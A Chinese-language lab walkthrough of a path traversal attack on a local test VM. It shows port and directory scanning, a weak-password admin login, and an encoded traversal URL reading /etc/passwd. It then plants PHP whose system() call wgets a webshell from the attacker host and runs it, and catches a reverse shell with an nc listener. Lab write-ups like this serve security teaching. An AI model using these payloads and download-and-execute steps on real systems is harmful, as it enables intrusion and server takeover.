Background
路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹之外的文件和目录。通过槽中带有“点-斜线(..)” 序列及其变化的文件或使用绝对文件路径来应用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置或关键系统文件。 这种攻击也称为“点-点斜线”、 “目录遍历”、 “目录爬升” 和 “回溯” 。
实验环境
攻击机 kali linux : 10.0.2.15
靶场机器 linux : 10.0.2.12
信息探测
先对靶场机器进行信息的收集
扫描开放的端口或服务
nmap -sV 10.0.2.12
扫描开放80端口http服务下的文件
1 | root@kali:~# dirb http://10.0.2.12/ |
发现疑似管理后台的页面
通过弱口令“admin”成功登陆后台
通过漏洞扫描器owasp-zap进行扫描
发现路径遍历漏洞
1 | http://10.0.2.12/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd |
漏洞利用
此时,知道服务器存在路径遍历漏洞,而且通过弱口令进入后台
想拿下该靶机的root权限,可以上传webshell,利用路径遍历执行webshell。
制作一个phpwebshell
1 | root@kali:~# ls /usr/share/webshells/php/ |
设置shell脚本的IP和监听端口
利用管理后台创建一个shell.php的数据库(就是一个php后缀的文件)
创建完数据库,创建表和字段
选择字段类型为txt,默认值为一段php代码,代码如下
1 | "cd /tmp;wget http://10.0.2.15/shell.php;chmod +x shell.php;php shell.php;") system( |
代码的作用是通过system函数执行系统命令,下载一个webshell并用php执行。
所以需要仔kali搭建http服务端
可以用python简易搭建
1 | root@kali:~/test# python -m "SimpleHTTPServer" |
由于端口是8000,需要重新指定端口,重新创建一张表
使用nc进行监听1234端口
1 | root@kali:~/test# nc -nvlp 1234 |
利用目录遍历漏洞访问shell.php,应为是一个php文件,如果里面有php代码就会被解析执行
1 | http://10.0.2.12/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr/databases/shell.php |
浏览器执行,卡顿后,返回监听端口查看
这样就获取到靶机的www-data用户的权限